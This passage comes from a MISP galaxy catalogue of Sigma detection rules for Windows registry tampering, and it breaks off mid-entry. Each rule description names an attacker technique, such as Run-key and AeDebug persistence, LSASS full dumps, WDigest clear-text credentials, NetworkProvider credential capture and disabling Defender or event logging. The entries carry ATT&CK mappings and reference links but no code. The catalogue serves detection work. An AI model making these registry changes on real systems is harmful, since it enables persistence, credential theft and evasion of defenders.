Potential Registry Persistence Attempt Via DbgManagedDebugger

Detects the addition of the "Debugger" value to the "DbgManagedDebugger" key in order to achieve persistence. Which will get invoked when an application crashes

The tag is: *misp-galaxy:sigma-rules="Potential Registry Persistence Attempt Via DbgManagedDebugger"*

View relationships graph

Potential Registry Persistence Attempt Via DbgManagedDebugger has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Hijack Execution Flow - T1574" with estimative-language:likelihood-probability="almost-certain"

Table 14371. Table References

Links
https://www.hexacorn.com/blog/2013/09/19/beyond-good-ol-run-key-part-4/
https://github.com/last-byte/PersistenceSniper
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_dbgmanageddebugger_persistence.yml

Potential Attachment Manager Settings Attachments Tamper

Detects tampering with attachment manager settings policies attachments (See reference for more information)

The tag is: *misp-galaxy:sigma-rules="Potential Attachment Manager Settings Attachments Tamper"*

Table 14372. Table References

Links
https://support.microsoft.com/en-us/topic/information-about-the-attachment-manager-in-microsoft-windows-c48a4dcd-8de5-2af5-ee9b-cd795ae42738
https://www.virustotal.com/gui/file/2bcd5702a7565952c44075ac6fb946c7780526640d1264f692c7664c02c68465
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_policies_attachments_tamper.yml

Enabling COR Profiler Environment Variables

Detects .NET Framework CLR and .NET Core CLR "cor_enable_profiling" and "cor_profiler" variables being set and configured.

The tag is: *misp-galaxy:sigma-rules="Enabling COR Profiler Environment Variables"*

View relationships graph

Enabling COR Profiler Environment Variables has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="COR_PROFILER - T1574.012" with estimative-language:likelihood-probability="almost-certain"

Table 14373. Table References

Links
https://learn.microsoft.com/en-us/dotnet/core/runtime-config/debugging-profiling
https://twitter.com/jamieantisocial/status/1304520651248668673
https://www.slideshare.net/JamieWilliams130/started-from-the-bottom-exploiting-data-sources-to-uncover-attck-behaviors
https://www.sans.org/cyber-security-summit/archives
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_enabling_cor_profiler_env_variables.yml

System Scripts Autorun Keys Modification

Detects modification of autostart extensibility point (ASEP) in registry.

The tag is: *misp-galaxy:sigma-rules="System Scripts Autorun Keys Modification"*

View relationships graph

System Scripts Autorun Keys Modification has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

Table 14374. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md
https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d
https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_system_scripts.yml

Outlook Security Settings Updated - Registry

Detects changes to the registry values related to outlook security settings

The tag is: *misp-galaxy:sigma-rules="Outlook Security Settings Updated - Registry"*

View relationships graph

Outlook Security Settings Updated - Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Office Application Startup - T1137" with estimative-language:likelihood-probability="almost-certain"

Table 14375. Table References

Links
https://learn.microsoft.com/en-us/outlook/troubleshoot/security/information-about-email-security-settings
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1137/T1137.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_outlook_security_settings.yml

Wow6432Node CurrentVersion Autorun Keys Modification

Detects modification of autostart extensibility point (ASEP) in registry.

The tag is: *misp-galaxy:sigma-rules="Wow6432Node CurrentVersion Autorun Keys Modification"*

View relationships graph

Wow6432Node CurrentVersion Autorun Keys Modification has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

Table 14376. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md
https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d
https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns
https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_wow6432node.yml

Execution DLL of Choice Using WAB.EXE

This rule detects that the path to the DLL written in the registry is different from the default one. Launched WAB.exe tries to load the DLL from Registry.

The tag is: *misp-galaxy:sigma-rules="Execution DLL of Choice Using WAB.EXE"*

View relationships graph

Execution DLL of Choice Using WAB.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 14377. Table References

Links
https://github.com/LOLBAS-Project/LOLBAS/blob/8283d8d91552213ded165fd36deb6cb9534cb443/yml/OSBinaries/Wab.yml
http://www.hexacorn.com/blog/2018/05/01/wab-exe-as-a-lolbin/
https://twitter.com/Hexacorn/status/991447379864932352
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_wab_dllpath_reg_change.yml

Suspicious Application Allowed Through Exploit Guard

Detects applications being added to the "allowed applications" list of exploit guard in order to bypass controlled folder settings

The tag is: *misp-galaxy:sigma-rules="Suspicious Application Allowed Through Exploit Guard"*

View relationships graph

Suspicious Application Allowed Through Exploit Guard has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 14378. Table References

Links
https://www.microsoft.com/security/blog/2017/10/23/windows-defender-exploit-guard-reduce-the-attack-surface-against-next-generation-malware/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_exploit_guard_susp_allowed_apps.yml

Potential Persistence Via Custom Protocol Handler

Detects potential persistence activity via the registering of a new custom protocole handlers. While legitimate applications register protocole handlers often times during installation. And attacker can abuse this by setting a custom handler to be used as a persistence mechanism.

The tag is: *misp-galaxy:sigma-rules="Potential Persistence Via Custom Protocol Handler"*

View relationships graph

Potential Persistence Via Custom Protocol Handler has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 14379. Table References

Links
https://ladydebug.com/blog/2019/06/21/custom-protocol-handler-cph/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_custom_protocol_handler.yml

Add Debugger Entry To AeDebug For Persistence

Detects when an attacker adds a new "Debugger" value to the "AeDebug" key in order to achieve persistence which will get invoked when an application crashes

The tag is: *misp-galaxy:sigma-rules="Add Debugger Entry To AeDebug For Persistence"*

Table 14380. Table References

Links
https://persistence-info.github.io/Data/aedebug.html
https://learn.microsoft.com/en-us/windows/win32/debug/configuring-automatic-debugging
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_aedebug_persistence.yml

Potential Persistence Via Logon Scripts - Registry

Detects creation of "UserInitMprLogonScript" registry value which can be used as a persistence method by malicious actors

The tag is: *misp-galaxy:sigma-rules="Potential Persistence Via Logon Scripts - Registry"*

View relationships graph

Potential Persistence Via Logon Scripts - Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Logon Script (Windows) - T1037.001" with estimative-language:likelihood-probability="almost-certain"

Table 14381. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1037.001/T1037.001.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_logon_scripts_userinitmprlogonscript.yml

Potentially Suspicious Desktop Background Change Via Registry

Detects registry value settings that would replace the user's desktop background. This is a common technique used by malware to change the desktop background to a ransom note or other image.

The tag is: *misp-galaxy:sigma-rules="Potentially Suspicious Desktop Background Change Via Registry"*

View relationships graph

Potentially Suspicious Desktop Background Change Via Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Internal Defacement - T1491.001" with estimative-language:likelihood-probability="almost-certain"

Table 14382. Table References

Links
https://www.virustotal.com/gui/file/a864282fea5a536510ae86c77ce46f7827687783628e4f2ceb5bf2c41b8cd3c6/behavior
https://www.attackiq.com/2023/09/20/emulating-rhysida/
https://research.checkpoint.com/2023/the-rhysida-ransomware-activity-analysis-and-ties-to-vice-society/
https://www.trendmicro.com/en_us/research/23/h/an-overview-of-the-new-rhysida-ransomware.html
https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.ControlPanelDisplay::CPL_Personalization_NoDesktopBackgroundUI
https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.WindowsDesktop::Wallpaper
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_desktop_background_change.yml

Potential PendingFileRenameOperations Tampering

Detect changes to the "PendingFileRenameOperations" registry key from uncommon or suspicious images locations to stage currently used files for rename or deletion after reboot.

The tag is: *misp-galaxy:sigma-rules="Potential PendingFileRenameOperations Tampering"*

View relationships graph

Potential PendingFileRenameOperations Tampering has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rename Legitimate Utilities - T1036.003" with estimative-language:likelihood-probability="almost-certain"

Table 14383. Table References

Links
https://www.trendmicro.com/en_us/research/21/j/purplefox-adds-new-backdoor-that-uses-websockets.html
https://devblogs.microsoft.com/scripting/determine-pending-reboot-statuspowershell-style-part-1/
https://www.trendmicro.com/en_us/research/19/i/purple-fox-fileless-malware-with-rookit-component-delivered-by-rig-exploit-kit-now-abuses-powershell.html
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc960241(v=technet.10)?redirectedfrom=MSDN
https://any.run/report/3ecd4763ffc944fdc67a9027e459cd4f448b1a8d1b36147977afaf86bbf2a261/64b0ba45-e7ce-423b-9a1d-5b4ea59521e6
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_pendingfilerenameoperations.yml

Potential Persistence Via GlobalFlags

Detects registry persistence technique using the GlobalFlags and SilentProcessExit keys

The tag is: *misp-galaxy:sigma-rules="Potential Persistence Via GlobalFlags"*

View relationships graph

Potential Persistence Via GlobalFlags has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Image File Execution Options Injection - T1546.012" with estimative-language:likelihood-probability="almost-certain"

Table 14384. Table References

Links
https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/

https://www.deepinstinct.com/2021/02/16/lsass-memory-dumps-are-stealthier-than-ever-before-part-2/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_globalflags.yml

Potential Attachment Manager Settings Associations Tamper

Detects tampering with attachment manager settings policies associations to lower the default file type risks (See reference for more information)

The tag is: *misp-galaxy:sigma-rules="Potential Attachment Manager Settings Associations Tamper"*

Table 14385. Table References

Links
https://support.microsoft.com/en-us/topic/information-about-the-attachment-manager-in-microsoft-windows-c48a4dcd-8de5-2af5-ee9b-cd795ae42738
https://www.virustotal.com/gui/file/2bcd5702a7565952c44075ac6fb946c7780526640d1264f692c7664c02c68465
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_policies_associations_tamper.yml

Hiding User Account Via SpecialAccounts Registry Key

Detects modifications to the registry key "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" where the value is set to "0" in order to hide user account from being listed on the logon screen.

The tag is: *misp-galaxy:sigma-rules="Hiding User Account Via SpecialAccounts Registry Key"*

View relationships graph

Hiding User Account Via SpecialAccounts Registry Key has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Hidden Users - T1564.002" with estimative-language:likelihood-probability="almost-certain"

Table 14386. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1564.002/T1564.002.md#atomic-test-3---create-hidden-user-in-registry
https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_special_accounts.yml

Registry Persistence via Explorer Run Key

Detects a possible persistence mechanism using RUN key for Windows Explorer and pointing to a suspicious folder

The tag is: *misp-galaxy:sigma-rules="Registry Persistence via Explorer Run Key"*

View relationships graph

Registry Persistence via Explorer Run Key has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

Table 14387. Table References

Links
https://researchcenter.paloaltonetworks.com/2018/07/unit42-upatre-continues-evolve-new-anti-analysis-techniques/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_reg_persist_explorer_run.yml

Potential CobaltStrike Service Installations - Registry

Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement.

The tag is: *misp-galaxy:sigma-rules="Potential CobaltStrike Service Installations - Registry"*

View relationships graph

Potential CobaltStrike Service Installations - Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 14388. Table References

Links
https://www.sans.org/webcasts/tech-tuesday-workshop-cobalt-strike-detection-log-analysis-119395

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_cobaltstrike_service_installs.yml

Windows Event Log Access Tampering Via Registry

Detects changes to the Windows EventLog channel permission values. It focuses on changes to the Security Descriptor Definition Language (SDDL) string, as modifications to these values can restrict access to specific users or groups, potentially aiding in defense evasion by controlling who can view or modify a event log channel. Upon execution, the user shouldn't be able to access the event log channel via the event viewer or via utilities such as "Get-EventLog" or "wevtutil".

The tag is: *misp-galaxy:sigma-rules="Windows Event Log Access Tampering Via Registry"*

View relationships graph

Windows Event Log Access Tampering Via Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 14389. Table References

Links
https://www.youtube.com/watch?v=uSYvHUVU8xY
https://learn.microsoft.com/en-us/windows/win32/secauthz/security-descriptor-definition-language
https://www.atomicredteam.io/atomic-red-team/atomics/T1562.002#atomic-test-8---modify-event-log-channel-access-permissions-via-registry---powershell
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_windows_event_log_access.yml

RestrictedAdminMode Registry Value Tampering

Detects changes to the "DisableRestrictedAdmin" registry value in order to disable or enable RestrictedAdmin mode. RestrictedAdmin mode prevents the transmission of reusable credentials to the remote system to which you connect using Remote Desktop. This prevents your credentials from being harvested during the initial connection process if the remote server has been compromise

The tag is: *misp-galaxy:sigma-rules="RestrictedAdminMode Registry Value Tampering"*

View relationships graph

RestrictedAdminMode Registry Value Tampering has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-

language:likelihood-probability="almost-certain"

Table 14390. Table References

Links
https://social.technet.microsoft.com/wiki/contents/articles/32905.remote-desktop-services-enable-restricted-admin-mode.aspx
https://github.com/redcanaryco/atomic-red-team/blob/a8e3cf63e97b973a25903d3df9fd55da6252e564/atomics/T1112/T1112.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_lsa_disablerestrictedadmin.yml

Lsass Full Dump Request Via DumpType Registry Settings

Detects the setting of the "DumpType" registry value to "2" which stands for a "Full Dump". Technique such as LSASS Shtinkering requires this value to be "2" in order to dump LSASS.

The tag is: *misp-galaxy:sigma-rules="Lsass Full Dump Request Via DumpType Registry Settings"*

View relationships graph

Lsass Full Dump Request Via DumpType Registry Settings has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 14391. Table References

Links
https://learn.microsoft.com/en-us/windows/win32/wer/collecting-user-mode-dumps
https://github.com/deepinstinct/Lsass-Shtinkering
https://media.defcon.org/DEF%20CON%2030/DEF%20CON%2030%20presentations/Asaf%20Gilboa%20-%20LSASS%20Shtinkering%20Abusing%20Windows%20Error%20Reporting%20to%20Dump%20LSASS.pdf
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_lsass_usermode_dumping.yml

Security Event Logging Disabled via MiniNt Registry Key - Registry Set

Detects the addition of the 'MiniNt' key to the registry. Upon a reboot, Windows Event Log service will stop writing events. Windows Event Log is a service that collects and stores event logs from the operating system and applications. It is an important component of Windows security and auditing.

Adversary may want to disable this service to disable logging of security events which could be used to detect their activities.

The tag is: *misp-galaxy:sigma-rules="Security Event Logging Disabled via MiniNt Registry Key - Registry Set"*

View relationships graph

Security Event Logging Disabled via MiniNt Registry Key - Registry Set has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable Windows Event Logging - T1562.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 14392. Table References

Links
https://www.hackingarticles.in/defense-evasion-windows-event-logging-t1562-002/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_create_minint_key.yml

Hypervisor Enforced Paging Translation Disabled

Detects changes to the "DisableHypervisorEnforcedPagingTranslation" registry value. Where the it is set to "1" in order to disable the Hypervisor Enforced Paging Translation feature.

The tag is: *misp-galaxy:sigma-rules="Hypervisor Enforced Paging Translation Disabled"*

View relationships graph

Hypervisor Enforced Paging Translation Disabled has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 14393. Table References

Links
https://twitter.com/standa_t/status/1808868985678803222
https://github.com/AaLl86/WindowsInternals/blob/070dc4f317726dfb6ffd2b7a7c121a33a8659b5e/Slides/Hypervisor-enforced%20Paging%20Translation%20-%20The%20end%20of%20non%20data-driven%20Kernel%20Exploits%20(Recon2024).pdf
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_deviceguard_hypervisorenforcedpagingtranslation_disabled.yml

Wdigest Enable UseLogonCredential

Detects potential malicious modification of the property value of UseLogonCredential from HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest to enable clear-text credentials

The tag is: *misp-galaxy:sigma-rules="Wdigest Enable UseLogonCredential"*

View relationships graph

Wdigest Enable UseLogonCredential has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 14394. Table References

Links
https://threathunterplaybook.com/hunts/windows/190510-RegModWDigestDowngrade/notebook.html
https://github.com/redcanaryco/atomic-red-team/blob/73fcfa1d4863f6a4e17f90e54401de6e30a312bb/atomics/T1112/T1112.md#atomic-test-3---modify-registry-to-store-logon-credentials
https://support.microsoft.com/en-us/topic/microsoft-security-advisory-update-to-improve-credentials-protection-and-management-may-13-2014-93434251-04ac-b7f3-52aa-9f951c14b649
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_wdigest_enable_uselogoncredential.yml

Potential Persistence Via New AMSI Providers - Registry

Detects when an attacker adds a new AMSI provider via the Windows Registry to bypass AMSI (Antimalware Scan Interface) protections. Attackers may add custom AMSI providers to persist on the system and evade detection by security software that relies on AMSI for scanning scripts and other content. This technique is often used in conjunction with fileless malware and script-based attacks to maintain persistence while avoiding detection.

The tag is: *misp-galaxy:sigma-rules="Potential Persistence Via New AMSI Providers - Registry"*

Table 14395. Table References

Links
https://persistence-info.github.io/Data/amsi.html
https://github.com/gtworek/PSBits/blob/8d767892f3b17eefa4d0668f5d2df78e844f01d8/FakeAMSI/FakeAMSI.c

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_amsi_providers.yml

DHCP Callout DLL Installation

Detects the installation of a Callout DLL via CalloutDlls and CalloutEnabled parameter in Registry, which can be used to execute code in context of the DHCP server (restart required)

The tag is: *misp-galaxy:sigma-rules="DHCP Callout DLL Installation"*

View relationships graph

DHCP Callout DLL Installation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 14396. Table References

Links
https://blog.3or.de/mimilib-dhcp-server-callout-dll-injection.html
https://technet.microsoft.com/en-us/library/cc726884(v=ws.10).aspx
https://msdn.microsoft.com/de-de/library/windows/desktop/aa363389(v=vs.85).aspx
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_dhcp_calloutdll.yml

Potential Persistence Via Outlook Today Page

Detects potential persistence activity via outlook today page. An attacker can set a custom page to execute arbitrary code and link to it via the registry values "URL" and "UserDefinedUrl".

The tag is: *misp-galaxy:sigma-rules="Potential Persistence Via Outlook Today Page"*

View relationships graph

Potential Persistence Via Outlook Today Page has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 14397. Table References

Links
https://trustedsec.com/blog/specula-turning-outlook-into-a-c2-with-one-registry-change

https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=74
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_outlook_todaypage.yml

New Application in AppCompat

A General detection for a new application in AppCompat. This indicates an application executing for the first time on an endpoint.

The tag is: *misp-galaxy:sigma-rules="New Application in AppCompat"*

View relationships graph

New Application in AppCompat has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"

Table 14398. Table References

Links
https://github.com/OTRF/detection-hackathon-apt29/issues/1
https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/1.A.1_DFD6A782-9BDB-4550-AB6B-525E825B095E.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_new_application_appcompat.yml

New BgInfo.EXE Custom DB Path Registry Configuration

Detects setting of a new registry database value related to BgInfo configuration. Attackers can for example set this value to save the results of the commands executed by BgInfo in order to exfiltrate information.

The tag is: *misp-galaxy:sigma-rules="New BgInfo.EXE Custom DB Path Registry Configuration"*

View relationships graph

New BgInfo.EXE Custom DB Path Registry Configuration has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 14399. Table References

Links

Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_bginfo_custom_db.yml

Disabled Windows Defender Eventlog

Detects the disabling of the Windows Defender eventlog as seen in relation to Lockbit 3.0 infections

The tag is: *misp-galaxy:sigma-rules="Disabled Windows Defender Eventlog"*

View relationships graph

Disabled Windows Defender Eventlog has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 14400. Table References

Links
https://twitter.com/WhichbufferArda/status/1543900539280293889/photo/2
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disabled_microsoft_defender_eventlog.yml

Disable Tamper Protection on Windows Defender

Detects disabling Windows Defender Tamper Protection

The tag is: *misp-galaxy:sigma-rules="Disable Tamper Protection on Windows Defender"*

View relationships graph

Disable Tamper Protection on Windows Defender has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 14401. Table References

Links
https://www.tenforums.com/tutorials/123792-turn-off-tamper-protection-microsoft-defender-antivirus.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disabled_tamper_protection_on_microsoft_defender.yml

Potential Credential Dumping Attempt Using New NetworkProvider - REG

Detects when an attacker tries to add a new network provider in order to dump clear text credentials, similar to how the NPPSpy tool does it

The tag is: *misp-galaxy:sigma-rules="Potential Credential Dumping Attempt Using New NetworkProvider - REG"*

View relationships graph

Potential Credential Dumping Attempt Using New NetworkProvider - REG has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

Table 14402. Table References

Links
https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy
https://learn.microsoft.com/en-us/troubleshoot/windows-client/setup-upgrade-and-drivers/network-provider-settings-removed-in-place-upgrade
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_new_network_provider.yml

Potential Persistence Via AppCompat RegisterAppRestart Layer

Detects the setting of the REGISTERAPPRESTART compatibility layer on an application. This compatibility layer allows an application to register for restart using the "RegisterApplicationRestart" API. This can be potentially abused as a persistence mechanism.

The tag is: *misp-galaxy:sigma-rules="Potential Persistence Via AppCompat RegisterAppRestart Layer"*

View relationships graph

Potential Persistence Via AppCompat RegisterAppRestart Layer has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Application Shimming - T1546.011" with estimative-language:likelihood-probability="almost-certain"

Table 14403. Table References

Links
https://github.com/nasbench/Misc-Research/blob/d114d6a5e0a437d3818e492ef9864367152543e7/Other/Persistence-Via-RegisterAppRestart-Shim.md

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_app_cpmpat_layer_registerapprestart.yml

Internet Explorer Autorun Keys Modification

Detects modification of autostart extensibility point (ASEP) in registry.

The tag is: *misp-galaxy:sigma-rules="Internet Explorer Autorun Keys Modification"*

View relationships graph

Internet Explorer Autorun Keys Modification has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

Table 14404. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md
https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d
https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_internet_explorer.yml

Change User Account Associated with the FAX Service

Detect change of the user account associated with the FAX service to avoid the escalation problem.

The tag is: *misp-galaxy:sigma-rules="Change User Account Associated with the FAX Service"*

View relationships graph

Change User Account Associated with the FAX Service has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 14405. Table References

Links
https://twitter.com/dottor_morte/status/1544652325570191361
https://raw.githubusercontent.com/RiccardoAncarani/talks/master/F-Secure/unorthodox-lateral-movement.pdf
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_fax_change_service_user.yml

Disable PUA Protection on Windows Defender

Detects disabling Windows Defender PUA protection

The tag is: *misp-galaxy:sigma-rules="Disable PUA Protection on Windows Defender"*

View relationships graph

Disable PUA Protection on Windows Defender has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 14406. Table References

Links
https://www.tenforums.com/tutorials/32236-enable-disable-microsoft-defender-pua-protection-windows-10-a.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disabled_pua_protection_on_microsoft_defender.yml

Potential PSFactoryBuffer COM Hijacking

Detects changes to the PSFactory COM InProcServer32 registry. This technique was used by RomCom to create persistence storing a malicious DLL.

The tag is: *misp-galaxy:sigma-rules="Potential PSFactoryBuffer COM Hijacking"*

View relationships graph

Potential PSFactoryBuffer COM Hijacking has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Component Object Model Hijacking - T1546.015" with estimative-language:likelihood-probability="almost-certain"

Table 14407. Table References

Links
https://www.virustotal.com/gui/file/6d3ab9e729bb03ae8ae3fcd824474c5052a165de6cb4c27334969a542c7b261d/detection
https://strontic.github.io/xcyclopedia/library/clsid_C90250F3-4D7D-4991-9B69-A5C5BC1C2AE6.html
https://blogs.blackberry.com/en/2023/06/romcom-resurfaces-targeting-ukraine
https://www.trendmicro.com/en_us/research/23/e/void-rabisu-s-use-of-romcom-backdoor-shows-a-growing-shift-in-th.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_comhijack_psfactorybuffer.yml

Suspicious Path In Keyboard Layout IME File Registry Value

Detects usage of Windows Input Method Editor (IME) keyboard layout feature, which allows an attacker to load a DLL into the process after sending the WM_INPUTLANGCHANGEREQUEST message. Before doing this, the client needs to register the DLL in a special registry key that is assumed to implement this keyboard layout. This registry key should store a value named "Ime File" with a DLL path. IMEs are essential for languages that have more characters than can be represented on a standard keyboard, such as Chinese, Japanese, and Korean.

The tag is: *misp-galaxy:sigma-rules="Suspicious Path In Keyboard Layout IME File Registry Value"*

View relationships graph

Suspicious Path In Keyboard Layout IME File Registry Value has relationships with:

